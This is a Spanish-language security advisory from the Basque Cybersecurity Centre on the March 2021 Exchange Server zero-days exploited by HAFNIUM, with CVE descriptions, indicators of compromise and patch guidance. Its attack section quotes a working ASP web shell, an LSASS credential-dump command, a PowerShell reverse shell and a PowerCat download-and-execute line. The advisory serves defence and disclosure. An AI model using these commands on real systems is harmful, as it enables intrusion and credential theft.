Actualización de seguridad Servidores Exchange

BCSC_Actualizacion_Seguridad_Servidores_Exchange_Marzo2021

TLP:WHITE

www.basquecybersecurity.eus

Marzo 2021

TABLA DE CONTENIDO

Cláusula de exención de responsabilidad

El presente documento se proporciona con el objeto de divulgar las alertas que el BCSC considera necesarias en favor de la seguridad de las organizaciones y de la ciudadanía interesada. En ningún caso el BCSC puede ser considerado responsable de posibles daños que, de forma directa o indirecta, de manera fortuita o extraordinaria pueda ocasionar el uso de la información revelada, así como de las tecnologías a las que se haga referencia tanto de la web de BCSC como de información externa a la que se acceda mediante enlaces a páginas webs externas, a redes sociales, a productos de software o a cualquier otra información que pueda aparecer en la alerta o en la web de BCSC. En todo caso, los contenidos de la alerta y las contestaciones que pudieran darse a través de los diferentes correos electrónicos son opiniones y recomendaciones acorde a los términos aquí recogidos no pudiendo derivarse efecto jurídico vinculante derivado de la información comunicada.

Cláusula de prohibición de venta

Queda terminantemente prohibida la venta u obtención de cualquier beneficio económico, sin perjuicio de la posibilidad de copia, distribución, difusión o divulgación del presente documento.

SOBRE EL BCSC

El Centro Vasco de Ciberseguridad (Basque Cybersecurity Centre, BCSC) es la entidad designada por el Gobierno Vasco para elevar el nivel de madurez de la ciberseguridad en Euskadi.

Es una iniciativa transversal que se enmarca en la Agencia Vasca de Desarrollo Empresarial (SPRI), sociedad dependiente del Departamento de Desarrollo Económico, Sostenibilidad y Medio Ambiente del Gobierno Vasco. Así mismo, involucra a otros tres Departamentos del Gobierno Vasco: el de Seguridad, el de Gobernanza Pública y Autogobierno, y el de Educación, y a cuatro agentes de la Red Vasca de Ciencia, Tecnología e Innovación: Tecnalia, Vicomtech, Ikerlan y BCAM.

El BCSC es la entidad de referencia para el desarrollo de la ciberseguridad y de la confianza digital de ciudadanos, empresas e instituciones públicas en Euskadi, especialmente para los sectores estratégicos de la economía de la región.

La misión del BCSC es por tanto promover y desarrollar la ciberseguridad en la sociedad vasca, dinamizar la actividad empresarial de Euskadi y posibilitar la creación de un sector profesional que sea referente. En este contexto se impulsa la ejecución de proyectos de colaboración entre actores complementarios en los ámbitos de innovación tecnológica, investigación y transferencia tecnológica a la industria de fabricación avanzada y otros sectores.

Así mismo, ofrece diferentes servicios en su rol como Equipo de Repuesta a Incidentes (en adelante CERT, por sus siglas en inglés “Computer Emergency Response Team”) y trabaja en el ámbito de la Comunidad Autónoma del País Vasco para aumentar la capacidad de detección y alerta temprana de nuevas amenazas, la respuesta y análisis de incidentes de seguridad de la información, y el diseño de medidas preventivas para atender a las necesidades de la sociedad vasca. Con el fin de alcanzar estos objetivos forma parte de diferentes iniciativas orientadas a la gestión de incidentes de ciberseguridad:

1. RESUMEN EJECUTIVO

Microsoft ha publicado una actualización urgente fuera del ciclo habitual de "Patch Tuesday" para corregir una serie de vulnerabilidades **Zero Day** que afectan a los sistemas **Microsoft Exchange Server 2013, 2016 y 2019**. Aunque ya se encuentra fuera de soporte, teniendo en cuenta la criticidad de la vulnerabilidad, Microsoft también ha publicado un paquete de actualización para **Microsoft Exchange Server 2010**.

De acuerdo con las informaciones publicadas por la propia Microsoft, estas vulnerabilidades están siendo activamente explotadas. Según indican, un grupo de hackers conocido como **Hafnium** y patrocinado por China, está realizando estos ataques contra organizaciones estadounidenses para robar datos. Las vulnerabilidades encontradas permiten a un atacante remoto el acceso a las cuentas de correo electrónico y la instalación de malware para facilitar acceso a largo plazo a los entornos de las víctimas.

Ya está disponible la actualización de seguridad para solucionar estas vulnerabilidades, y desde Microsoft instan a los usuarios y administradores de sistemas a su aplicación urgente.

2. ANÁLISIS TÉCNICO

En los ataques observados, el actor de la amenaza utilizó estas vulnerabilidades para acceder a los servidores Exchange, lo que permitió el acceso a las cuentas de correo electrónico y la instalación de malware para facilitar el acceso a largo plazo a los entornos de las víctimas.

El Centro de Inteligencia de Amenazas de Microsoft (MSTIC) atribuye esta campaña con un alto grado de confianza a HAFNIUM, un grupo que, basándose en la victimología, tácticas y procedimientos observados, se considera patrocinado por China.

Las vulnerabilidades recientemente descubiertas son las siguientes:

- **CVE-2021-26855** es una vulnerabilidad de falsificación de peticiones del lado del servidor (SSRF) en Exchange que permitía al atacante enviar peticiones HTTP arbitrarias y autenticarse como el servidor de Exchange.
- **CVE-2021-26857** es una vulnerabilidad de deserialización insegura en el servicio de Mensajería Unificada. La deserialización insegura es aquella en la que datos no confiables controlados por el usuario son deserializados por un programa. La explotación de esta vulnerabilidad permite ejecutar código como SYSTEM en el servidor Exchange. Esto requiere permisos de administrador o la explotación de otra vulnerabilidad.
- **CVE-2021-26858** es una vulnerabilidad de escritura arbitraria de archivos después de la autenticación en Exchange. Un atacante que pudiera autenticarse con el servidor Exchange, podría utilizar esta vulnerabilidad para escribir un archivo en cualquier ruta del servidor. Podrían autenticarse explotando la vulnerabilidad CVE-2021-26855 SSRF o comprometiendo las credenciales de un administrador legítimo.
- **CVE-2021-27065** es otra vulnerabilidad de escritura arbitraria de archivos después de la autenticación en Exchange. Un atacante que pudiera autenticarse con el servidor Exchange, podría utilizar esta vulnerabilidad para escribir un archivo en cualquier ruta del servidor. Podrían autenticarse explotando la vulnerabilidad CVE-2021-26855 SSRF o comprometiendo las credenciales de un administrador legítimo.

Junto con estas 4 vulnerabilidades, la actualización incluye correcciones para 3 vulnerabilidades más no relacionadas con HAFNIUN, y que presumiblemente no han sido explotadas hasta la fecha:

- CVE-2021-26412
- CVE-2021-26854
- CVE-2021-27078

2.1 Descripción del ataque

Después de explotar estas vulnerabilidades para obtener el acceso inicial, los operadores de HAFNIUM desplegaron web shells en los servidores comprometidos. Las web shells permiten a un atacante robar datos y realizar acciones maliciosas adicionales que conduzcan a un mayor compromiso. A continuación, se muestra un ejemplo de una shell web desplegada por HAFNIUM escrita en ASP:

```
<%@ Page Language="Jscript"%><%System.IO.File.WriteAllText(Request.Item["p"],
Request.Item["c"]);%>
```

Tras el despliegue de la web shell, los operadores de HAFNIUM realizaron la siguiente actividad posterior a la explotación:

- Uso de Procdump para volcar la memoria del proceso LSASS:

```
C:\windows\temp\procdump64 -accepteula -ma lsass.exe C:\windows\temp\lsass
```

- Uso de 7-Zip para comprimir los datos robados en archivos ZIP para su exfiltración:

```
c:\ProgramData\7z a -t7z -r  c:\ProgramData\it.zip c:\ProgramData\pst
```

- Uso de Exchange PowerShell snap-ins para exportar datos de buzones de correo:

```
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;&#x0A;Get-Mailbox&#x0A

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest -ResultSize
100

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest|Remove-
MailboxExportRequest -Confirm:$false
```

- Uso de la shell inversa de Nishang Invoke-PowerShellTcpOneLine:

```
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient([redacted]);$stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString
($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' +
(pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write
($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

- Descarga de PowerCat desde GitHub usándolo después para la conexión con un servidor remoto:

```
IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c
[redacted] -p [redacted] -e powershell
```

Los operadores de HAFNIUM también pudieron descargar de los sistemas comprometidos la libreta de direcciones offline de Exchange, que contiene información valiosa sobre una organización y sus usuarios.

2.2 Recursos afectados

Las vulnerabilidades detectadas afectan a los siguientes sistemas de Microsoft Exchange Server:

- **Exchange Server 2013**
- **Exchange Server 2016**
- **Exchange Server 2019**

Aunque ya se encuentra fuera de soporte, teniendo en cuenta la criticidad de la vulnerabilidad Microsoft también ha publicado un paquete de actualización para **Microsoft Exchange Server 2010**.

2.3 IOCs

A continuación, se indican una serie de Indicadores de Compromiso obtenidos del análisis realizado por Microsoft:

Web Shell Hashes:

- b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
- 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
- 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
- 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
- 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
- 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
- 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
- 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944

Paths donde se han observado Web Shells:

- C:\inetpub\wwwroot\aspnet_client\
- C:\inetpub\wwwroot\aspnet_client\system_web\
- En paths de instalación de Microsoft Exchange Server como:
  - %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
  - C:\Exchange\FrontEnd\HttpProxy\owa\auth\

Nombres de fichero de los Web Shells

- web.aspx
- help.aspx
- document.aspx
- errorEE.aspx
- errorEEE.aspx

- errorEW.aspx
- errorFF.aspx
- healthcheck.aspx
- aspnet_www.aspx
- aspnet_client.aspx
- xx.aspx
- shell.aspx
- aspnet_iisstart.aspx
- one.aspx

Microsoft también recomienda revisar *C:\ProgramData* en busca de ficheros .zip, .rar o .7z sospechosos que puedan indicar una posible exfiltración de datos.

Monitorizar los siguientes paths en busca de volcados de LSASS:

- C:\windows\temp\
- C:\root\

Y revisar el sistema en busca del software utilizado para la post-explotación:

- Procdump
- Nishang
- PowerCat

3. MITIGACIÓN / SOLUCIÓN

Para la mitigación y el parcheo urgente de estas vulnerabilidades, Microsoft ha publicado una actualización de seguridad, KB5000871, disponible ya a través de los siguientes métodos:

Método 1. Windows Update

Esta actualización está disponible a través de Windows Update. Al activar la actualización automática, esta actualización se descargará e instalará automáticamente

Método 2. Catálogo de actualizaciones de Microsoft

Para obtener el paquete independiente de esta actualización, se puede acceder directamente al sitio web del Catálogo de actualizaciones de Microsoft.

Método 3. Catálogo de actualizaciones de Microsoft

También se pueden obtener los paquetes independientes a través del Microsoft Download Center:

- Download Security Update For Exchange Server 2019 Cumulative Update 8 (KB5000871)
- Download Security Update For Exchange Server 2019 Cumulative Update 7 (KB5000871)
- Download Security Update For Exchange Server 2016 Cumulative Update 19 (KB5000871)
- Download Security Update For Exchange Server 2016 Cumulative Update 18 (KB5000871)
- Download Security Update For Exchange Server 2013 Cumulative Update 23 (KB5000871)

4. REFERENCIAS ADICIONALES

- Multiple Security Updates Released for Exchange Server
- Released: March 2021 Exchange Server Security Updates
- New nation-state cyberattacks
- Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: March 2, 2021 (KB5000871)
- Description of the security update for Microsoft Exchange Server 2010 Service Pack 3: March 2, 2021 (KB5000978)
- HAFNIUM targeting Exchange Servers with 0-day exploits
- Catálogo de Microsoft Update
- Microsoft fixes actively exploited Exchange zero-day bugs, patch now

Reportar incidente

Si has detectado algún incidente de ciberseguridad, avísanos para que tomemos las medidas oportunas para evitar su propagación.

900 104 891

incidencias@bcsc.eus

Catálogo de ciberseguridad

¿Necesitas ayuda con tu ciberseguridad o la de tu empresa?